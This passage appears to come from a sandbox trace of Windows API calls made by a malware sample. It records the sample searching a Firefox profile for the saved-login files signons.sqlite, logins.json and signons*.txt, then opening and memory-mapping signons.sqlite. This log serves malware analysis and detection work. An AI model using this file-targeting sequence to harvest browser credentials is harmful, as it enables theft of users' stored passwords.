IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0048.011] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef490 | out: lpFindFileData=0xef490) returned 0x72ddd0 [0048.012] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.012] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef490 | out: lpFindFileData=0xef490) returned 1 [0048.012] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.012] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.012] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef490 | out: lpFindFileData=0xef490) returned 0 [0048.012] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0048.012] LocalFree (hMem=0x75c328) returned 0x0 [0048.012] LocalFree (hMem=0x75c218) returned 0x0 [0048.012] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 1 [0048.012] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.012] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0048.012] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0048.012] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0048.012] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.012] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.012] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 0 [0048.012] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.012] LocalFree (hMem=0x74fd90) returned 0x0 [0048.012] LocalFree (hMem=0x74fe90) returned 0x0 [0048.012] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 0 [0048.012] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0048.012] LocalFree (hMem=0x74fc90) returned 0x0 [0048.012] LocalFree (hMem=0x76e840) returned 0x0 [0048.012] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.012] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.012] LocalFree (hMem=0x746ad0) returned 0x0 [0048.012] LocalFree (hMem=0x74fba8) returned 0x0 [0048.012] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.012] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0048.012] lstrlenA (lpString="key3.db") returned 7 [0048.012] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0048.012] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0048.012] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0048.012] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0048.012] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.012] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.012] lstrlenA (lpString="localstore.rdf") returned 14 [0048.012] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0048.012] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0048.012] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0048.013] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0048.013] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.013] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0048.013] lstrlenA (lpString="marionette.log") returned 14 [0048.013] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0048.013] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0048.013] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0048.013] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0048.013] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.013] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.013] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0048.013] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0048.013] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0048.013] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0048.013] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0048.013] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.013] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0048.013] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0048.013] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.013] lstrlenA (lpString="\\") returned 1 [0048.013] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.013] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.013] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.013] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.013] lstrlenA (lpString="minidumps") returned 9 [0048.013] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fba8 [0048.013] lstrcpyA (in: lpString1=0x74fba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.013] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.013] LocalFree (hMem=0x746ad0) returned 0x0 [0048.013] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0048.013] lstrlenA (lpString="\\*.*") returned 4 [0048.013] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.013] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.013] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0048.013] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.013] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.013] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.013] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.013] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.013] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.013] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.013] LocalFree (hMem=0x746ad0) returned 0x0 [0048.013] LocalFree (hMem=0x74fba8) returned 0x0 [0048.013] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.013] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0048.013] lstrlenA (lpString="parent.lock") returned 11 [0048.013] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0048.013] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0048.013] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0048.013] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="permissions.sqlite") returned 18 [0048.014] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0048.014] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="places.sqlite") returned 13 [0048.014] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0048.014] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="pluginreg.dat") returned 13 [0048.014] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0048.014] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="prefs.js") returned 8 [0048.014] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0048.014] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="search.json") returned 11 [0048.014] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0048.014] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="secmod.db") returned 9 [0048.014] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0048.014] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="sessionstore.bak") returned 16 [0048.014] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0048.014] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0048.014] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0048.014] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.014] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0048.014] lstrlenA (lpString="sessionstore.js") returned 15 [0048.014] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0048.015] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0048.015] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0048.015] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0048.015] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.015] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0048.015] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.015] lstrlenA (lpString="\\") returned 1 [0048.015] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.015] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.015] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.015] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.015] lstrlenA (lpString="signons.sqlite") returned 14 [0048.015] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0048.015] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.015] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0048.015] LocalFree (hMem=0x746ad0) returned 0x0 [0048.015] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0048.015] CloseHandle (hObject=0x39c) returned 1 [0048.015] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0048.015] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0048.015] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0048.015] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0048.015] CloseHandle (hObject=0x39c) returned 1 [0048.015] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0048.015] GetFileSize (in: hFile=0x39c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0048.015] CreateFileMappingA (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3b4 [0048.015] MapViewOfFile (hFileMappingObject=0x3b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0048.017] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0048.018] CloseHandle (hObject=0x3b4) returned 1 [0048.018] CloseHandle (hObject=0x39c) returned 1 [0048.018] LocalFree (hMem=0x74da88) returned 0x0 [0048.019] LocalFree (hMem=0x74d998) returned 0x0 [0048.019] lstrlenA (lpString="signons.sqlite") returned 14 [0048.019] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0048.019] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0048.019] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.019] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.019] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.019] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0048.019] lstrlenA (lpString="times.json") returned 10 [0048.019] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0048.019] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0048.019] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0048.019] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0048.019] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.019] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0048.019] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0048.019] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0048.019] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0048.019] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0048.019] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0048.019] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.019] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0048.019] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0048.019] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.019] lstrlenA (lpString="\\") returned 1 [0048.019] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.019] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.019] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.019] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.019] lstrlenA (lpString="webapps") returned 7 [0048.019] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74fba8 [0048.019] lstrcpyA (in: lpString1=0x74fba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.019] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.019] LocalFree (hMem=0x746ad0) returned 0x0 [0048.019] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0048.019] lstrlenA (lpString="\\*.*") returned 4 [0048.019] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x746ad0 [0048.019] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.019] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0048.019] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.019] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.019] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.019] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.019] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.019] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.019] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0048.019] lstrlenA (lpString="webapps.json") returned 12 [0048.020] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0048.020] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0048.020] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0048.020] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0048.020] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.020] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.020] LocalFree (hMem=0x746ad0) returned 0x0 [0048.020] LocalFree (hMem=0x74fba8) returned 0x0 